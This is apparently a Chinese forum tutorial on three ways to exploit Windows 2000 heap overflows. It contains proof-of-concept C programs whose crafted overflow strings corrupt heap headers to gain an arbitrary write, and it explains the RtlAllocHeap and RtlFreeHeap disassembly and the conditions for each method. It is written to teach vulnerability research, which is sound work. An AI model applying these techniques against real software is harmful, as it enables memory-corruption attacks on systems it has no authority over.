1.利用RtlAllocHeap
這是ISNO提到的,看這個例子
main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x01x08x00x11x11x11x11x21x21x21x21";
buf1 = (char*)malloc (32); /* 分配兩塊內存 */
memcpy (buf1, s, 32+16); /* 這裡多復制16個字節 */
buf2 = (char*)malloc (16);
free (buf1);
free (buf2);
return 0;
}
在給buf1完成malloc之後,返回的地址(buf1)是個指針,指向的內存分配情況是這樣
buf1的管理結構(8bytes)|buf1真正可操作空間(32bytes)|下一個空閒堆的管理結構(8bytes)|兩個雙鏈表指針(8bytes)
在給buf2完成malloc之後,buf1指向的內存分配情況是這樣
buf1的管理結構(8bytes)|buf1真正可操作空間(32bytes)|buf2的管理結構(8bytes)|buf2真正可操作空間(16bytes)|兩個雙鏈表指針(8bytes)
現在如果在buf2分配空間之前,buf1的memcpy操作溢出,並且覆蓋了
下一個空閒堆的管理結構(8bytes)|兩個雙鏈表指針(8bytes)
共16個字節的時候,就會造成buf2的RtlAllocHeap操作異常。原因看RtlAllocHeap的這段代碼
001B:77FCC453 8901 MOV [ECX],EAX
001B:77FCC455 894804 MOV [EAX+04],ECX
此時ECX指向兩個雙鏈表指針(8bytes)的後一個指針(0x21212121),EAX指向前一個指針(0x11111111)。類似於format string溢出,可以寫任意數據到任意地址,這種情況比較簡單,前提是在buf2分配空間之前buf1有溢出的機會
2.利用RtlFreeHeap的方式一
這是ilsy提到的,看例子
main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x09";
buf1 = (char*)malloc (32); /* 分配兩塊內存 */
buf2 = (char*)malloc (16);
memcpy (buf1, s, 32+6); /* 這裡多復制6個字節 */
free (buf1);
free (buf2);
return 0;
}
由於buf1多復制了6個字節,這6個字節會覆蓋掉buf2的管理結構,在free(buf2)時會發生異常。只要我們精心構造這個6個字節就可以達到目的
先看看8字節管理結構的定義(從windows源碼中找到)
typedef struct _HEAP_ENTRY {
//
// This field gives the size of the current block in allocation
// granularity units. (i.e. Size << HEAP_GRANULARITY_SHIFT
// equals the size in bytes).
//
// Except if this is part of a virtual alloc block then this
// value is the difference between the commit size in the virtual
// alloc entry and the what the user asked for.
//
USHORT Size;
//
// This field gives the size of the previous block in allocation
// granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT
// equals the size of the previous block in bytes).
//
USHORT PreviousSize;
//
// This field contains the index into the segment that controls
// the memory for this block.
//
UCHAR SegmentIndex;
//
// This field contains various flag bits associated with this block.
// Currently these are:
//
// 0x01 - HEAP_ENTRY_BUSY
// 0x02 - HEAP_ENTRY_EXTRA_PRESENT
// 0x04 - HEAP_ENTRY_FILL_PATTERN
// 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
// 0x10 - HEAP_ENTRY_LAST_ENTRY
// 0x20 - HEAP_ENTRY_SETTABLE_FLAG1
// 0x40 - HEAP_ENTRY_SETTABLE_FLAG2
// 0x80 - HEAP_ENTRY_SETTABLE_FLAG3
//
UCHAR Flags;
//
// This field contains the number of unused bytes at the end of this
// block that were not actually allocated. Used to compute exact
// size requested prior to rounding requested size to allocation
// granularity. Also used for tail checking purposes.
//
UCHAR UnusedBytes;
//
// Small (8 bit) tag indexes can go here.
//
UCHAR SmallTagIndex;
#if defined(_WIN64)
ULONGLONG Reserved1;
#endif
} HEAP_ENTRY, *PHEAP_ENTRY;
就是
本堆的size(2bytes)|上一個堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)
注意這裡的size是實際大小進行8字節對齊後除以8的值
可以看看flag的各個定義
再看看RtlFreeHeap裡面幾個關鍵的地方
關鍵點一
001B:77FCC829 8A4605 MOV AL,[ESI+05] //esi指向buf2的8字節管理結構的起始地址,al即flag
001B:77FCC82C A801 TEST AL,01 //flag值是否含有HEAP_ENTRY_BUSY
001B:77FCC82E 0F84A40E0000 JZ 77FCD6D8 //不含則跳轉。這裡不能跳
001B:77FCC834 F6C207 TEST DL,07
001B:77FCC837 0F859B0E0000 JNZ 77FCD6D8
001B:77FCC83D 807E0440 CMP BYTE PTR [ESI+04],40 //esi+4是否大於0x40
001B:77FCC841 0F83910E0000 JAE 77FCD6D8 //大於等於則跳轉,這裡不能跳
001B:77FCC847 834DFCFF OR DWORD PTR [EBP-04],-01
001B:77FCC84B A8E0 TEST AL,E0 //flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3
001B:77FCC84D 754A JNZ 77FCC899 //只要含有一個就跳,這裡不重要
001B:77FCC84F 8B8F80050000 MOV ECX,[EDI+00000580]
001B:77FCC855 85C9 TEST ECX,ECX
001B:77FCC857 7440 JZ 77FCC899 //這裡必然會跳
關鍵點二
001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
001B:77FCC8A0 F6C301 TEST BL,01
001B:77FCC8A3 750F JNZ 77FCC8B4 //這裡必然會跳
001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有則跳,這裡要跳
關鍵點三
001B:77FCBB49 83C6E8 ADD ESI,-18 //ilsy說在不同的windows版本上這個0x18的是不同的
001B:77FCBB4C 89759C MOV [EBP-64],ESI
001B:77FCBB4F 8B06 MOV EAX,[ESI]
001B:77FCBB51 894598 MOV [EBP-68],EAX
001B:77FCBB54 8B7604 MOV ESI,[ESI+04]
001B:77FCBB57 897594 MOV [EBP-6C],ESI
001B:77FCBB5A 8906 MOV [ESI],EAX //這裡會操作異常
我們看到最後操作異常的時候EAX=0X61616161,ESI=0X61616161,正好是buf1裡的值,就是將buf2的起始地址減去0x18的地址的數據復制到之後
的數據所指向的地址。我們可以控制這兩個數據。
可見第二種方式的前提有三個:
1)構造堆(buf2)的flag必須含有HEAP_ENTRY_BUSY和HEAP_ENTRY_VIRTUAL_ALLOC,可以設成0xff
2)構造堆的flag前面那個字節要比0x40小
3)構造堆的上一個堆(即buf1)的長度必須大於或等於0x18+0x08即32個字節,否則在關鍵點三處,ESI會指向我們不能控制的區域,造成利用失敗
還有ilsy提到字節構造的8字節管理結構的第一個字節必須大於0x80,在我的機器上並沒有必要(windows2000pro cn+sp4),他用0x99,我用0x03,也能成功利用
3.利用RtlFreeHeap的方式二
這是我研究堆溢出發現的第一種異常情況,之前不明就裡,花了2個小時看了幾篇帖子之後,認為這是unlink本堆塊時發生的異常。
看例子
main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x00x08x00x11x11x11x11x22x22x22x22";
buf1 = (char*)malloc (32); /* 分配兩塊內存 */
buf2 = (char*)malloc (16);
memcpy (buf1, s, 32+16); /* 這裡多復制16個字節 */
free (buf1);
free (buf2);
return 0;
}
看起來和方式二很象,不過運行之後會發現,不同於上面提到的,這裡在free(buf1)時就出現異常。同樣再看看RtlFreeHeap的幾個關鍵點
關鍵點一
同方式二的關鍵點一,設法跳到關鍵點二
關鍵點二
001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
001B:77FCC8A0 F6C301 TEST BL,01
001B:77FCC8A3 750F JNZ 77FCC8B4
001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有則跳,這裡不能跳
001B:77FCC8BE 0FB706 MOVZX EAX,WORD PTR [ESI]
001B:77FCC8C1 8945D0 MOV [EBP-30],EAX
001B:77FCC8C4 F6470C80 TEST BYTE PTR [EDI+0C],80
001B:77FCC8C8 7515 JNZ 77FCC8DF
001B:77FCC8CA 6A00 PUSH 00
001B:77FCC8CC 8D45D0 LEA EAX,[EBP-30]
001B:77FCC8CF 50 PUSH EAX
001B:77FCC8D0 56 PUSH ESI
001B:77FCC8D1 57 PUSH EDI
001B:77FCC8D2 E8EA000000 CALL 77FCC9C1 //進入這個CALL
關鍵點三
001B:77FCC9C1 55 PUSH EBP
001B:77FCC9C2 8BEC MOV EBP,ESP
001B:77FCC9C4 53 PUSH EBX
001B:77FCC9C5 56 PUSH ESI
001B:77FCC9C6 8B750C MOV ESI,[EBP+0C]
001B:77FCC9C9 8B5D08 MOV EBX,[EBP+08]
001B:77FCC9CC 57 PUSH EDI
001B:77FCC9CD 8BFE MOV EDI,ESI //ESI指向buf1的起始地址
001B:77FCC9CF 0FB74602 MOVZX EAX,WORD PTR [ESI+02] //將buf1之前的堆的長度放入EAX
001B:77FCC9D3 C1E003 SHL EAX,03 //乘以8得到實際大小
001B:77FCC9D6 2BF8 SUB EDI,EAX //EDI指向buf1之前的堆的起始地址
001B:77FCC9D8 3BFE CMP EDI,ESI
001B:77FCC9DA 740A JZ 77FCC9E6
001B:77FCC9DC F6470501 TEST BYTE PTR [EDI+05],01 //上一個堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9E0 0F8498E9FFFF JZ 77FCB37E //不能跳
001B:77FCC9E6 F6460510 TEST BYTE PTR [ESI+05],10 //上一個堆的flag是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCC9EA 750F JNZ 77FCC9FB //不能跳
001B:77FCC9EC 8B4510 MOV EAX,[EBP+10]
001B:77FCC9EF 8B00 MOV EAX,[EAX] //buf1的堆的長度
001B:77FCC9F1 F644C60501 TEST BYTE PTR [EAX*8+ESI+05],01 //buf2的堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9F6 8D3CC6 LEA EDI,[EAX*8+ESI] //EDI指向buf2的起始地址
001B:77FCC9F9 7409 JZ 77FCCA04 //不含則跳(合並空閒堆?),這裡要跳
001B:77FCC9FB 8BC6 MOV EAX,ESI
001B:77FCC9FD 5F POP EDI
001B:77FCC9FE 5E POP ESI
001B:77FCC9FF 5B POP EBX
001B:77FCCA00 5D POP EBP
001B:77FCCA01 C21000 RET 0010
001B:77FCCA04 0FB70F MOVZX ECX,WORD PTR [EDI] //ECX即buf2的堆的長度
001B:77FCCA07 03C8 ADD ECX,EAX //加上buf1的堆的長度
001B:77FCCA09 81F900FE0000 CMP ECX,0000FE00 //是否大於0xfe00
001B:77FCCA0F 77EA JA 77FCC9FB //大於則跳,這裡不能跳
001B:77FCCA11 807D1400 CMP BYTE PTR [EBP+14],00
001B:77FCCA15 0F85FB210000 JNZ 77FCEC16
001B:77FCCA1B 8A4705 MOV AL,[EDI+05] //AL即buf2的flag
001B:77FCCA1E 2410 AND AL,10 //是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCCA20 A810 TEST AL,10
001B:77FCCA22 884605 MOV [ESI+05],AL //將buf1的flag置為HEAP_ENTRY_LAST_ENTRY
001B:77FCCA25 754B JNZ 77FCCA72 //含則跳,這裡不能跳
001B:77FCCA27 57 PUSH EDI
001B:77FCCA28 53 PUSH EBX
001B:77FCCA29 E80CCBFBFF CALL 77F8953A
001B:77FCCA2E 8B4F0C MOV ECX,[EDI+0C] //將buf2的0x0c偏移給ECX
001B:77FCCA31 8B4708 MOV EAX,[EDI+08] //將buf2的0x08偏移給EAX
001B:77FCCA34 3BC1 CMP EAX,ECX
001B:77FCCA36 8901 MOV [ECX],EAX //這裡發生異常
001B:77FCCA38 894804 MOV [EAX+04],ECX
方式三和方式二都是利用RtlFreeHeap函數,它們的分岔口在於關鍵點二的
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49
方式二在這裡要跳,方式三不能跳,從而進入下面的CALL(關鍵點三)
發生異常時ECX=0x22222222,EAX=0x11111111,這是我們能控制的。
可見方式三的前提有三個
1)構造堆(buf2)的長度不能為0
2)構造堆的上一個堆(buf1)和構造堆的長度相加不能大於0xfe00(div8之後)
3)構造堆的flag不能包含HEAP_ENTRY_BUSY
除了以上三種利用方式還有一種,和方式三差不多,不過是在free(buf2)時發生異常,應該是由於在合並下一個堆時長度計算錯誤造成的,具體就不分析了,類似於linux下的堆溢出,不過windows下不能將堆長度設為負數,造成一定的麻煩,sign
溢出之後的事情就不再說了。寫這些主要為了分析總結一些東西,希望對初學者有幫助,不當之處請指正。
//更正一下,以上程序在.net平台下編譯有效,VC++6.0編譯是不能溢出的。可能是兩種編譯器對malloc的實現方式不同。vc的編譯器實現malloc的時候並沒有真正調用RtlFreeHeap或RtlAllocHeap函數,造成溢出失敗。改成HeapAlloc就可以了